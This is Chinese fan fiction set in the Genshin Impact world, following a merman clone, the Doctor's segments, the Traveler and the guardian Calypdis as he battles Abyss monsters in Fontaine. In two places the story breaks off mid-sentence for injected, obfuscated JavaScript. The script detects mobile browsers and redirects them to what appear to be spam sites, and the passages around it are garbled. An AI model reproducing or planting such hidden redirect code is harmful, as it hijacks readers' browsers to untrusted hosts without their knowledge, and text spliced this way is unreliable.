这一剑避无可避,紫红色的火焰只有一张似人非人的脸,还没有能从地上坐起的力量,便只能躺在那等待审判的长剑落下。 覆盖冰霜的长剑刺中狰狞的脸,一时间爆发出极其尖锐扭曲的刺耳嚎叫,蛮横的精神攻击凝成实质的音浪朝四周扩散,能够直接从精神层面摧毁脆弱人类的心智。 长剑一寸一寸往下扎深,卡帕几乎能听到那咯吱咯吱的响声。 音浪也袭击到了他这里,不过就像紫红色火焰自带的蛊惑能力那样,完全对他不起作用。可是身下的白鲸被波及到,发出难以忍受的痛苦哀鸣。 这种饱含恶意的攻击让他感到自身的地位遭受了挑衅,白鲸的痛苦也让他不可容忍。 于是人鱼开始歌唱。 那歌声和呼唤母亲帮助有着截然不同的区别,悠远绵长,似飞鸟在林间的轻啼,像群山间空旷的回声。 人鱼歌唱,请求痛苦的灵魂为我忍耐一二,让我用海潮的声音为你们抚平伤痛,修补灵魂的裂痕。 人鱼歌唱,请勿沉溺于虚妄的幻想,当北风席卷雪花呼啸而来,便是我为你指引回乡的方向。 扭曲燃烧的紫红色火焰在呼啸的风声中化为飞灰,旋转着腾空,掺着雪花覆盖在山峦与雪原之上。冰铠碎裂,海潮褪去,只有那把冰霜长剑仍插在土地上,将底下深渊孕育的、初诞生的妖鬼一剑刺得尖叫,粉碎入侵的幻想。 灵魂遭受重创然后又被治愈的愚人众以及异乡的旅者从地上爬起来,看着被冰霜长剑斩断的紫红色花朵藤蔓,看着被一剑刺入地底不敢再犯的深渊淤泥,看着封锁裂隙的冰。 “女皇陛下……”士兵们喃喃,感恩不再爱人的神明仁慈的带来了霜雪。 冰是女皇陛下的神威,这点无可置疑。那歌声来自何处呢? 派蒙捂着头:“刚刚好像听到了有谁在唱歌。” 旅行者的眼里波光流转:“这种高频的声音,只能是他发出来的吧。 对地下发生了什么一无所知,在他看来只是怪物怪样的火焰在尖叫而已的卡帕摸摸脖子,感受到喉咙刺痛,甩甩尾巴,不高兴的沉入海中去了。 白鲸陪伴左右,夸奖他刚刚真是帅气。 卡帕摸摸白鲸眼睛上方的一小块皮肤,你不痛就好。 别的东西,他并不是很在意。 卡帕心里自有一把衡量的尺,虽然一直生活在实验室中导致他对外界和自己的认知不太清晰,但西琳曾认真的告诉他,要他骄傲起来,因为他是海的孩子。 谁对卡帕好,谁要利用卡帕,谁要伤害卡帕,卡帕都清楚的。只是他没能准确判断对应的态度,只能用疼痛和恶意作为评判依据。 让他痛的,有恶意的就是坏的。 让他痛的,没有恶意的需要观察。 不痛的话真的无所谓,就像博士切割了他的一部分尾鳍,但因为不痛,卡帕仍能保持沉默。 这样的对外态度当然是有问题的,卡帕不清楚难道注视着人类来来往往,看遍世间沉浮的至冬海也不知道? 可是海洋也没有办法,因为卡帕接触到的外物太少了,没有足够丰富的对象供他揣摩思考,供他学习参照。他只能学会这种愚钝的方式保护自己。 “又是梦中的歌声吗?” 博士全盛时期的切片Omega看着手下送来的愚人众士兵战后心理诊断报告,发现他们在深渊悲悼面具的精神攻击下莫名的痊愈,只是因为梦中恍惚听到的歌声。 有风吹过梦中的荒野,他们便知道这是引领他们返回真实的使者。 旅行者抱着派蒙坐在Omega营帐内,他们还在这处地下空间观测冰封的深渊物质以及那把冰霜长剑,新的物质或许能够作用于人类对抗深渊的正面战场。Omega不会放过这样好的实验材料,说什么都要敲点冰回去。 精神层面的攻击和本体最近的研究方向重合,Omega需要带实验数据回去交差。 旅行者和派蒙也直面了方才战役里如有实质的精神攻击,以及带着海潮声的歌谣。考虑到那条人鱼疑似老朋友的幼年体,派蒙谨慎的让旅行者回答,自己则不说话。 她很清楚自己一着急就会叽叽喳喳的说出不该说的话,干脆保持沉默了。 旅行者面对切片的问题,也说听到了歌声,多的却什么也没吐出来。Omega哪怕知道他有所隐瞒也不会对他用粗,且不说实力高下问题,女皇可还在宫廷看着呢。 而且精神层面的攻击和直接作用于灵魂的力量,据他所知的上一个可是两个多月前就出逃的某位的切片。 那个切片本体用了制作自己时的技术,并非机械的造物,而是从本体血肉中诞生的,从胚胎极速发育完全的新生命。只有血肉才能承载非人的力量。 某种意义上来说,名为卡帕的出逃切片是Omega的同类。 “等等博士,我有些问题想问你。” “请问。” “寒风森林为什么消失了?” “寒风森林?我已经很久没有听到有人这样称呼祂的名字,大家一般用至冬北部大森林来称呼祂。四百多年前,本体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14587617|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的某个切片发现了一种从森林地下开采的矿物具有强大的辐射污染力量,那也是制作邪眼的原材料。于是树木被伐断,矿脉被挖穿,河流被污染。大批的矿石运送到邪眼工厂,上好的原木被蒸汽车压进铁轨呼啸而过。至冬吸着森林的血极速发展,不然你以为至冬为何能在五百年前的大战后迅速恢复国力,甚至提升全民身体素质?” 旅行者顿了顿:“我明白的。但北境那一小片死去的灰白树林,是什么?” “用人类感性的话来说,那是森林死去的心脏。原本心脏不会死去,只需等待,森林又会回来。但心脏耗尽最后的力量封存内部的空间,具体发生了什么让心脏用了这份力量……我没有实地考察,不能给你结论。” 这么说吧,本来寒风森林被人类征伐缩成了一小片,也不会再有人类来索取什么。因为那是森林最后的心脏,只要森林心脏的力量没有消失,数不清的日升月落,修生养息后的森林又将用祂磅礴的生命力覆盖雪原,再次占据至冬版图的五分之一。这是至冬自然的规律,用森林的资源供养正在发展的国度,等战争胜利修生养息,森林也能得到发展的空间和扶持。 那一小片树林没有人会去触碰,因为祂太过脆弱,北风日夜呼啸着守卫。因为祂太过脆弱,其中具体发生了什么变故,人类根本不知道。 其他执行官要带着部下撤离的时候都派人问过旅行者,要不要一起回去至冬宫。但是旅行者摇头拒绝,当博士本体制作的药剂被送来时,营地中伤势最重的精英队伍也获得了治疗。Omega收拾了东西,裹着大衣就跟着旅者走入了风雪中。 他们决定一起去死去的灰白之林看看。 旅行者已经想好了,要是人鱼还在这里,他就可以带着人鱼先回一趟枫丹,总之交给卡吕普迪斯总是没错的。 派蒙近日越发困顿,裹着毛茸茸的斗篷被旅行者抱在怀里,揉揉眼睛:“还有多久哇?” “很快就到了。”旅行者哄她,“要不要再睡会?”看起来还是没有精神的样子。 “不睡了,我也得打起精神来。”派蒙打着哈欠,“为什么其他人听到歌都精神亢奋,只有我越来越想睡觉?” 切片探出头来:“我给你检查身体看看?” 派蒙瞬间清醒,忙不迭躲在旅行者身后,警惕的瞧着:“不允许!” 灰白的死之林距离愚人众在雪原洞窟的据点并不远,派蒙还记得路,飞在前面晃晃悠悠的领着方向。 灰白的朽木依旧矗立在大地上,保持着生前向上延伸的枝丫,像是竭尽全力向天空呼救的手。北境肆意横行的寒风穿行期间也变得温柔,因为稍稍用力,死去的林木就会被吹成粉末湮灭在风声中。 除了风声和脚步声,林中寂静得仿佛真的是永恒的安宁之所。 博士的切片没走几步就蹲下来,隔着手套扒开厚厚的雪层,看见了那些被掩埋的灰。 “原来如此。”他嘴角向上,扬起笑容,“深渊的马前卒入侵了最后的森林,为了驱逐也为了保护,致使其焚烧殆尽,成为无害的流灰。” 耗尽了最后的泪与力,只为守护雪原上的生灵。 博士轻笑:“真是感人,你觉得呢?” 旅行者沉默不语,为其哀悼。 99.如人间过客 全盛时期的博士切片自然也承袭了本体的智慧。 他今天的心情不错,加上眼前发生的事情让他感到愉悦,因此难得的将复原的故事讲给一大一小听。 不久前,北境雪原下的洞窟出现了深渊裂隙,悄无声息的孕育了新品种的魔物。栖息在淤泥涌动的水潭中,开着大朵紫红色花朵的藤蔓向外延伸,折断洞窟内的冰棱,将洞窟打造得温暖,用于释放被污染的火焰。 这个过程发生在无人到来的地下洞窟,只有野兽与风能嗅到不同寻常的气味,来探寻的野兽会被有形的藤蔓抓住吸成养料,无形的风可以逃脱。 唯一无法挣脱的风,只有这片大地上被思念着的北风的精灵。 “北风的精灵?”旅行者不敢相信自己听到了什么,“这像是童话故事里的存在,和风精灵有什么不同吗?” “你以为在至冬最畅销的书是什么?至冬太冷,童话那种幻想乡生来就是温暖阳光的东西,满足人类心底的渴盼自然理所当然。”博士不讨厌好学的人,“风有千百中姿态,至冬常年吹嚎北风,诞生的北风的精灵驰骋荒野,从不与人主动产生交集。” 北风的精灵和蒙德风精灵的区别大概就是大地上的仙灵和龙脊雪山的温暖仙灵的区别 。就像层岩巨渊下的发光仙灵,雨林如花般绚丽的粉绿仙灵,纳塔被龙吃得只能躲进壁画的幻写灵一样,说成是地区特色也没什么不对。环境塑造它们的外形,让它们【进化】【变异】。 派蒙把自己的理解说出来,得到了博士的认同。 聪明的派蒙发现了不对劲:“北风精灵从不与人主动产生交集,和你说的被思念着的北风精灵之间有什么联系?” 博士看着茫茫的雪景:“无形北风的精灵被人知晓了名字,就会拥有形体。因为思念这种东西无法用科学具体化,隔着遥远的时间和距离,风将思念传递。” 他嗤笑道:“北风精灵将名字交付出去,就等于把命提前压到了死亡的国度。”遇到危险无法挣脱,只能像被网住的飞鸟一样引颈受戮。真是愚蠢。” 他的声音听上去有些遗憾:“人类无法捕获北风精灵,因为这类元素生命警惕性极高。没有实验体就没有实验数据,我讲述的这些源自女皇的口述。” 派蒙真想翻他白眼,可是不敢。 博士笑起来:“森林一定有什么东西网罗住了北风的心,那个东西在思念北风,所以北方精灵无法挣脱附着的深渊力量。只能带着深渊回到这里,于是劫火焚烧了一切。” 小家伙有些难过:“听上去好惨。” 博士开始兴奋:“你们猜,那家伙能不能等到他心心念念的北风?” 旅行者心头警铃大震,剧烈收缩的瞳孔出卖了他,再想掩藏已经来不及了。 全盛时期的切片承袭本体的智慧,以及傲慢,对他们露出灿烂的笑容,鸟头面具下的嘴张开,露出一口寒光凛冽的鲨鱼牙:“庆贺我找到逃走的实验体吧,旅行者。” 湖底悄无声息,回到海洋怀抱的人鱼在岸边看见了对他微笑的红瞳男人。 人鱼和男人都在兴奋。 我的薄荷蓝色小鸟,卡帕一眼就看见了他,眨眼间就游到了岸边,对他伸出手。至于博士身后站着的一堆愚人众直接不被他放在眼里。 小鸟小鸟,薄荷蓝色的小鸟。 卡帕抓住了博士的手,本想向上继续抓他的头颅,谁知道博士另一只手掌心闪烁着乳白的力量方块。 “什么都不知道的情况下,依旧本能的渴求力量。你们真是同脉同源。”博士本体轻笑,本体没有戴着他的面具,露出苍白的脸和红宝石的眼睛。 得到了神赐力量,吃饱的卡帕松手就要回到海洋去,但是博主拖着人鱼的腋下从身后提起:“吃完就想跑,这可不行。” 家养的可爱小鸟叨住袖口不让你走,你会生气吗? 卡帕扭头向上看见博士的下颌线,等待他提出接下来的要求。 “女皇陛下要见你,卡帕。你会想要更多力量的。” 卡帕静静的听着,没有再动作。熟悉他肢体语言的博士当即判定人鱼这是同意了。 和人鱼卡帕沟通并不困难,只要不让他感到疼痛,不让他察觉到恶意,绝大多数情况下卡帕都很好说话——他完全不搭理人。 有时候也不能让他太高兴或者精神亢奋,忍不住哼歌可让人好苦。博士已经拿捏了这个度,准备把实验室成员其他人的都染成蓝头发。 人鱼似乎青睐蓝色。 至冬的海洋未曾挽留,只有白鲸在海中低沉的呼唤卡帕的名字,同他告别。 人鱼泡在鱼缸里,被推着前进离开冰海。动手的人类士兵皆出自队长名下的精锐,注射了精神抗体,沉默的执行着长官的命令。 卡帕早就习惯了这样的生活,在鱼缸里沉沉睡去。吃饱了想睡觉能有错吗? 卡帕睡了醒醒了睡,等到了至冬宫,被投放进后花园湖泊里,他才打了个哈欠。 水质很好,湖底也干净,垫着鹅卵石。卡帕长这么大就没见过烂泥巴,对于新的“鱼缸”适应良好。 人类越来越多了,总有人来看他,低低的说着话。 有些他听得懂,有些则不太能理解。 他能看见到来来去去的面孔无非就是那么几个,像黑蛇那样把自己裹得毛茸茸的,可爱至极。 有时候薄荷蓝小鸟会带着他的朋友小黑蛇来,卡帕多数时候都是静静的看着他们,偶尔自顾自的睡觉。 至冬宫的后花园也会下雪,心情好的时候,卡帕会捏着湖边飘落的雪堆成两只胖鸟。 某天,一只红狐狸崽来到这里,对他捏的薄荷蓝小鸟和西琳鸟发出不带恶意的嘲笑声:“你为什么要把雪捏成肥鸡啊?” 卡帕不生气,因为不痛也没有感觉到恶意。狐狸崽喜欢吃鸡,认成肥鸡,这很正常。 像是森林红狐的狐狸崽不会取暖,没有其他人那么毛茸茸。有时候狐狸崽蹲在湖边看他,捏雪胖鸟的卡帕一瞥眼就能看见他露出的小肚子,想了想,主动靠过去,用大衣把狐狸崽裹得严严实实密不透风。 森林的红狐狸爸爸妈妈会用自己的大尾巴把崽子围住,西琳说因为狐狸崽狠脆弱,寒风会取走不听话狐狸崽的命。 达达利亚没想到自己无心的嘲笑会换来对方的贴心,愣在原地,感慨道:“你们真的很像。” 卡帕打了个哈欠,沉入湖中睡觉。因为上次吃的很饱,他需要很多睡眠时间消化,所以总在睡觉,玩也玩不了几个小时。 第二天达达利亚再借着述职的名头来至冬宫后花园,拿着大包小包的堆雪人材料:“卡帕,你看我带什么来了?” “胡萝卜,松果,纽扣,还有这些亮晶晶的彩色玻璃珠,你看有你喜欢的吗。”达达利亚把东西摆在湖边给人鱼看,“冬妮娅和托克她们小时候总会堆雪人玩,可惜冬妮娅长大了,托克拿小子更喜欢打雪仗,我都好久没有和人一起玩过雪了。” 卡帕是条很好说话的鱼,就像还在森林湖中休息的时候,乌鸦或者狐狸来喝水捕鱼他都不在意。严格来说,卡帕并不把比他弱小的生物在领 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那天卡帕发了很久的呆,至冬宫的花园很安静,夜里只能听见雪簌簌的下,冰棱向下凝结,植物的茎叶覆盖透明的冰。 没有飞鸟,没有走兽,也没有人类。这里安静的就像一处坟墓。 六角雪花纹的纯白毛边大氅曳地,鞋跟踩踏花园的石板,咯哒,咯哒。 卡帕能感受到不同寻常的力量,寒意在身后蔓延。他将视线从雪团上移开,扭头看向身后。 北境的神明脚踩白雪,冰一般晶莹澄澈的眼睛注视着他,关键是她肩膀上站着一只纯白的雪鸮。 卡帕的眼睛一下子黏在雪鸮身上动不了了。 神明未曾说出任何话语,雪鸮的爪子搭在她披着的雪白大氅上,扇了扇翅膀:【孩子,它已经完成了它的许诺,不用再等它了。】 这句话卡帕听明白了。 过去的记忆与现在的信息冲击着他的大脑,导致面部表情空白。 他似乎嗅到了空气中带着铁锈味的血腥气,面上仿佛又被火焰灼烧得刺痛,下意识想要钻回水中寻求庇护。 所以当时那只在火焰中飞舞的雪鸮,那只紫红色的小鸟,真的就是回来的西琳。那些簌簌掉落的灰,那些闭着眼睛的灰色鱼群是西琳的眼泪。它没有抛弃我,它答应我的事做到了。 原来森林的葬礼是为西琳举办的。 如梦初醒,大彻大悟。那一刻灵台清明,前所未有的感悟洗刷他的灵魂。他突然就懂得了记忆中的力量要如何使用,突然就掌握了以前听不懂的语言,突然就明白了自己诞生的使命与职责。 那是承袭母本,或者说本体的记忆与知识。 他突然觉得很疲惫:“我还有多久的时间。”干涩的嗓音,陌生的语言从他口唇溢出,叫他惶恐。 雪鸮,另一位被思念着的北风的精灵代替神明回答他:【一个月,三十次太阳升起又落下。】 三十个月亮后,集齐了全部神之心的冰之女皇就要行动起来。七国闻风而动,正式打响反抗的第一枪。 人鱼不想思考这些,他不再言语,只是沉入湖底,透过粼粼波光注视着天空的影子,恍惚间又回到了还在森林湖心的时候。 他出生在人造的生态鱼缸,无论是去森林的湖泊还是到宫廷的湖泊,不过是在几个鱼缸之间来回换位置,永远隔着透明玻璃观察人类,永远不会理解人类的爱憎。 够了。 他根本不是自愿来到这个世上的,剩下的三十个夜晚,就做一场漫长的梦吧。 100.一百章啦~ 静原不会再离开枫丹,去距离那维莱特很远的地方了。 太阳升起又落下,月亮透过云层挥洒皎洁,海上风平浪静,树与花与草沐浴在枫丹暖湿的空气中蓬勃生长。 枫丹很美,静原总是坐在高处俯瞰下方的景色。比如沫芒宫天台,比如海崖,比如前枫丹科学院旧址水立方上空。 在晴朗的好天气,他会躺在山坡上去看澄澈到没有一丝污浊的天空,就像枫丹大地上那些清亮的湖泊水面。 枫丹过去的诗集经常赞叹,“海是天空倒影”,用来赞美家乡的海澄澈无比。静原则是在想这句话骂得太妙了。枫丹以前那点子破事全拜天空的神明所赐。 为什么人类不能触碰天空呢? 他双手抱头躺在青青草地上,翘着二郎腿晃晃脚,惬意又自在。 人类生来渴望触碰天空,就像鸟生来就要学会飞翔。探知未知,探知不可知,这已经是人类这个物种刻进基因里必须要做必须会做的事情了。 学者孜孜不倦的探寻真理,冒险家不向不可知低头,这片大地上生活的人类和静原久远家乡中的人类很像,总想要飞到天上,去看看不一样的世界。 可是静原家乡的天空没有神明的岛屿,探寻禁忌的知识也不会从天降落审判的长钉,毁去文明的期冀。静原家乡的人类可以不靠神明的祝福飞上天空,提瓦特的风之翼如果没有神明的加持根本无法正常使用。 不是说神明不好,因为守护本身无错。 只是,静原曾经见过无神的世界是什么模样的,他曾触碰过真实的天空,知道追求未知这种行为并非禁忌。因此更加难以容忍此事高天一刀切的庇护。 可是没有办法呀,提瓦特太脆弱了,外界的力量融入期间便化作深渊。深渊无时无刻不想着同化提瓦特,但是神明的力量和人类的躯体是无法接受这样的同化的。 远古的龙王带来了世界之外的知识与力量,因为龙众会不断寻求【进化】打磨躯体提升实力,去兼容世界之外的力量。只要给龙众时间,他们可以【进化】成为更加强大的存在,无论是离开世界还是留在世界都能活下来。 但是人类不行,人类的躯体太脆弱了,精神无法承载。能成为万物灵长依靠的是神明的庇护和自身的智慧。你不能强行要人类挖掘他们本身的劣势潜力,因为那没有用。 当年水仙十字院那些孩子做实验,探寻人类与深渊融合的奥秘。静原很遗憾帮不上忙,甚至要制裁他们的行为。因为实验失控造成的危害不是脆弱的人能够接受的。 天空岛施加的保护也在深渊源源不断的入侵下变得脆弱不堪,一次又一次嵌套的轮回让大地无力承载如此厚重臃肿的回忆。龙能【进化】,人要如何? 曾经是人类的静原躺在草地上吹着海风,开始思考几乎每个知道内情的神明都会思考的问题。 然后他想着想着就睡着了。 这个粗神经。 睡了个漫长午觉醒来的静原打了个哈欠,格蕾丝蒂正好找到了偷懒的他,匆匆赶来:“卡吕普迪斯大人,至冬的信。” 至冬能有谁给他写信?总不会是菲米尼他们几个小孩吧?仆人能允许吗? 静原拆开被层层检运盖戳的信件,执行官的印章花纹让他太阳穴青筋直跳,内容更是一坨。 博士在信里说得冠冕堂皇,明明已经做过意识切除手术,但切片还是萌生了逃走的想法。博士说他可没有做一些不符合大众三观的实验,抽血检查工作切片一直很配合,这可不是他的错。 静原冷笑,是不是真的做过意识切除手术这个另说,但静原了解自己的脾气。就算没有记忆和知识,他也是个本性懒惰不爱挪窝的家伙,如果不是实验室待不下去,一般情况不会选择逃走。这也是他之前设想过的情况,比如博士不干人事之类的。 但博士这人,多多少少有几分自知之明。他清楚自身的道德几乎没有,三观也和其他人不同,但人鱼这种稀有的实验体,他不会粗暴的对待。哪怕是装出来的和善,也足够静原的切片老实的接受。 所以问题大概不是博士虐待切片。 静原有点烦躁,他是因为有记忆才能压制身体的猎食需求,切片不一样,切片没有人类的道德三观,看上了就会直接要。逃出去之后袭击人类可是一桩丑闻…… 静原也像当初的博士那样咬牙切齿:“谁教唆的他,把他带出去的?”谁敢赌一头野兽放出去后不会伤人?在实验室里无法确定自己大概地位,到了信息量更丰富的外面,野兽会本能的依靠武力去试探自己身处食物链哪一层。 除非拥有一颗人的心,否则人鱼切片只是一头没有约束的海怪。 格蕾丝蒂关心的摸摸叔叔的手背:“发生什么糟糕的事情了吗?卡吕普迪斯大人。” “没事的,大人们能处理好。”静原摸摸小女孩柔软的额发,准备回去写信。 如果博士是按照他预订款式那样定做的切片,那么切片的寿命只能持续到战争打响。意识消散,然后[卡吕普迪斯]接管那副身躯,物尽其用。 静原写给博士的回信中说明人鱼没有获得源海的完整赐福,无法变出双腿行走。如果是在外界生活,只能选择能够栖身的大湖或者海洋,本能会促使人鱼奔向海洋,到时候在至冬海附近守株待兔就行。 【教唆他出逃的生物只会让他痛苦,建议一经发现就地处决。】 切片本可以一直懵懂无知,那样残酷的事情落在他身上,就会在理解残酷之前死去,一点也不痛。 教他认清自己,给他名字定义自己,赐予他爱与温暖……对一个注定作为牺牲品的切片而言,这是无法言喻的心灵凌迟。 【尽量不要和他说话,不要刺激他。时间到了,他的使命就完成了。】 静原最后在信里叮嘱博士这句话,真是麻烦。本以为最大的干扰因素会是博士蠢蠢欲动做实验的小手,结果是个不是知藏在何处的挑唆犯。 自我感动式的救赎,管生不管养,管杀不管埋。 博士也是个阳奉阴违的神经病,没有意识的切片根本不会被教唆着逃跑!他会不会做手术!会不会接单! 静原觉得跟博士做交易这件事真是没占一点便宜。 然后两个月后他又收到了博士的信。 静原一边嘀嘀咕咕有完没完,一边拆开信件。 好消息,切片找回来了。 更好的消息,因为切片的无私奉献精神,至冬的战士们人人都提高了精神层面的抵抗力,对抗深渊更有效果了呢。 静原:“……” 多托雷,你到底对我的切片做了什么? 多托雷:这次真的跟我没关系。 枫丹动能工程科学研究院和大守护者彼此看不顺眼,这在枫丹不是秘密。 据科学院那些研究人员说,这种彼此找麻烦的传统从初代院长阿兰·吉约丹那会就初见端倪,初代院长死后,科学院研究员开展的任何有关深渊的实验以及造成污染的实验都会被大守护者不惜一切代价的围追堵截,无论是武力镇压还是资金材料的克扣,都让这些科学家们极其愤慨,却也无可奈何。 “不要在天空能看到的地方做实验。”大守护者这样警告过很多次。 科学家们心想,是他们不想吗?海下洞窟潮湿得要命,那些贵死人的机械保养难上加难,稍有不慎就会造成实验误差然后报废,又在大守护者的力量管辖范围内,他们才没那么蠢。 科学院从山上修到水体托举的天上,新开工的深渊实验叫愤怒的大守护者打烂,绕是如此围追堵截,新的研究还是不可避免的在暗中开展。 在芙宁娜女士卸下水神职位后的第三年,在大守护者拥有人类双腿的第三年,枫丹科学院旧址上又爆发出了一场灾难。 在水立方附近掏垃圾的静原本来正在报废那些失控的机械,一抬头就瞧见刺眼的紫黑色光珠冲天。轰然粉碎的科学院旧址废墟下的实验室,打开的深渊裂隙,失控的机械机兵,疯狂撕咬目光所及一切活物的兽境群狼……混乱得就像一锅加了柔灯铃花瓣和泡泡橘砂糖的海鲜粥。 静原气的想呕吐:“你们这些人类能不能老老实实在海下做实验啊!” 他再也不要思考人类群体的生存问题了,这帮傻蛋活下去的唯一目标就是花样作死! 他还在等至冬那边传讯啊! 静原跳下水立方钻进海中,尾巴快摆成螺旋桨,这才堪堪抵达岸边,跑步的时候差点把脚扭到,法杖横挡在一头张开嘴的狼兽利齿中。 差一点点就要被兽境魔狼一口咬掉半个身子的呆滞研究员还愣在原地,陷入迷惘状态,或者是处于幻象中。 “这就是终极的真实,事务官下次申请经费一定不会被为难了吧。” 静原一脚踹死眼前的魔狼:“下个季度你们科学院一分钱都别想拿到手。” 研究员的视线中,似乎有谁回应了他,他面上红润,骄傲的回答:“这可是按照雷内前辈的手记做出的,当然完美。就是不知道那位前辈为什么不在科学院名人录上,他可真是为惊才绝艳的天才!” 雷内,老熟人了。但这次不是雷内的问题,静原又是一脚踹在研究员身上,把他踢出深渊裂隙范围。召来海水冲刷疯狂涌出的魔物,一棒子打死一个,最后居然出现了雷属性的深渊咏者。 不知道为什么,那深渊咏者看见是静原扭头就想钻回裂隙中去。 静原一把拽住他:“你给我回来,我知道深渊咏者是有智性的。告诉我,这帮蠢货是怎么召唤的你们。” 深渊咏者似乎畏惧他法杖上的力量:“枫丹的大守护者,请将您的武器稍稍挪开一二,我等虽献身黑暗,却依旧畏惧灼烧的痛楚。” 厄里那斯的骨头怎么还有这个效果? 静原狐疑的收起法杖:“说。” 深渊咏者双手搭在腹部,用咏叹调一般的嗓音讲述这次是一个完整的深渊召唤阵法,可短暂的开辟一处供黑暗降临的空间,徘徊在暗界的低等魔物最先来到外面,然后是他们这种有几分理智尚存的高等魔物。 深渊咏者隐晦表示他后面还排着队呢。 静原:“好,真是好得很。” 在静原强势阻拦的情况下,还能靠集群智慧复原雷内当年遗留手记上的阵法图,这帮人到底是要干什么?造反啊? “剩下的事您的家事,请允许我等告辞。” “我让你走了吗?”静原一棒子挡在他和深渊裂隙中间,“来,让你的好同僚们出来。” “尊贵的守护者大人,您这是……” 深渊咏者·紫电还没说完,他那些想要捞一把外快的同僚们便急不可耐的走出裂隙,高唱“啊~这灼热的真理!” 深渊咏者·渊火被临门一盆水浇了个透心凉,当场熄火。 两个[深渊教团]的文职魔物被静原打包仍在了一旁。既然有文职,自然也有武职。于是接下来登场的是水深渊使徒·激流,以及冰深渊使徒·霜落。 大概全世界的武夫都秉持着“废话少说,烂命一条就是干”的生存真理,这俩好搭档上来就是一套浪潮之锋和冰锋斩灭,计划合体打出让旅行者万分痛苦的原魔永冻伤害。 然而,这是在枫丹,他们面对的是原魔世界的大Boss之一,高贵的水免、抗性、霸体集于一身的卡吕普迪斯。 众所周知,枫丹的水元素魔物在“愤怒”状态下会加持自身强度,冰元素无法和自身水元素反应,也就无法被冻住。前有地方传奇湖畔的维维安涅和尼尼安涅,后有底下洞穴的水形幻人,这些家伙一个比一个暴躁,你猜枫丹地头蛇静原是怎么说服它们乖乖待在划定的范围内不要乱跑惹事的? “都说了水免不要打。”静原脚踢激流拳打霜落,据说连灵魂都能冻结的冰霜对静原毫无作用,毕竟在厄里那斯骨血的加持下,非白垩层的深渊生物都无法中伤他的本体,“老实了吗?” 本来还希望同僚能救一下结果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14607385|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现全在送人头的深渊咏者·紫电保持自己最后叮嘱倔强——双手搭在小腹处,心情平淡:“我等已领略到了您的强大,尊贵的守护者,请问有什么能为您效劳的吗?” 深渊使徒·激流不可置信,不是兄弟你哪边的? 深渊咏者·渊火感叹:“赞美真理,灼热未曾显露就已沉寂。” 深渊使徒·霜灭面无表情,当然也看不出他有什么表情:“有话快说。”有屁快放。 大不了就是一死,但深渊的脚步不可能停止。 “和我说话最好把态度放得更低点。”静原用法杖抵着冰使徒的核心,“告诉我,为什么要回应这个阵法的召唤。” “任何形式向深渊索取力量的呼唤,都会得到祂一视同仁的恩赐。”渊火抢答,“这个阵法上携刻的符文就是在说请漆黑的渊薮降临,让我等成为伟大意志的奴仆。” 紫电补充道:“咏者即为布道者、读经士、学士,我和渊火这样的东西本就为布施深渊恩典和力量而存在,低等魔物在暗界徘徊许久,自然让它们做先驱。若有求知者能抵达我等传道者面前,自当领受漆黑渊薮的恩典。” 说白了,这个阵法摆好了就是向深渊投诚,深渊教团会派传道士来,传道士身后是打手。大有道理讲不通就上武力“以理服人”的意思在。那些兽境群狼以及其他低等魔物不过是马前卒,用来探路的而已。 静原面上扬起笑容:“原来是这样啊。” 在被愤怒冲昏头脑前,他特意问了一个问题:“无论在哪里布施阵法,深渊都会回应吗?” 深渊咏者不愧对自己的本职工作,虽然知道眼前的大守护者不会堕入黑暗,但万一呢?于是热情的回应:“当然,无论在提瓦特的任何地方,无论是梦境还是真实,只要布下这个阵法,献出渴求黑暗之心,我等就会带来无上意志的伟岸力量,传颂神圣的福音。” 你真敢说啊。 静原微笑着点点头,深渊咏者敢这样说就不怕有人守株待兔,毕竟渴求黑暗之心不是哪个正义之士都能有的。渴求黑暗降临,渴求漆黑渊薮的力量,虽然不一定就是要加入深渊教团,但想要看见深渊出现的心是绝对有的。 只要献出渴求的心,深渊便能借此法阵来到地上,这对深渊来说是稳赚不赔的买卖。 “真方便啊,向天空祈祷不一定能够得到回应,但是向深渊祷告就能见到你们。”静原笑起来,“福利待遇蛮不错的。” 冰使徒警惕心顿起,这条鱼要干什么?但是他不敢问出声,法杖已经让他感受到栖身黑暗的灵魂被烈火灼烧的痛苦,连麻木的冰霜使徒也会难以忍受。 出乎意料的是,静原把他们四个放了回去。 被一个一脚踹回暗界,保住小命的四位相顾无言。 渊火忍不住吭声:“他到底打着什么盘算?” 紫电轻叹:“谁知道呢,只要能继续传颂我主的伟大,我等还要感谢那位守护者大人。” 水使徒忍不住把自己藏在好兄弟冰使徒身后,觉得这些咏者真是脑子有病,病得不轻。 紫电将今天的事情上报给殿下,然后恭顺的垂下头颅,只能瞥见殿下的一缕金发。 “看来那位正义国度的大守护者也不是绝对的正义啊。” 踹走深渊魔物,把裂隙打碎,然后收拾场地撸袖子准备清理门户的静原,终于见到了姗姗来迟的枫丹警备队,然后是连滚带爬滚过来的枫丹科学院事务官。 “再来晚点,你们看到的就是他的尸体了。”静原攥着那位研究员胸前的衬衣领子,麻木的看着眼前的警备队队长。 队长擦擦汗:“这是我们的疏忽,卡吕普迪斯大人……” 事务官舒瓦瑟尔:“卡吕普迪斯大人,因缪尔这次的确罪孽深重。我代表全体枫丹动能科学研究院成员向您表达真挚的感谢。” 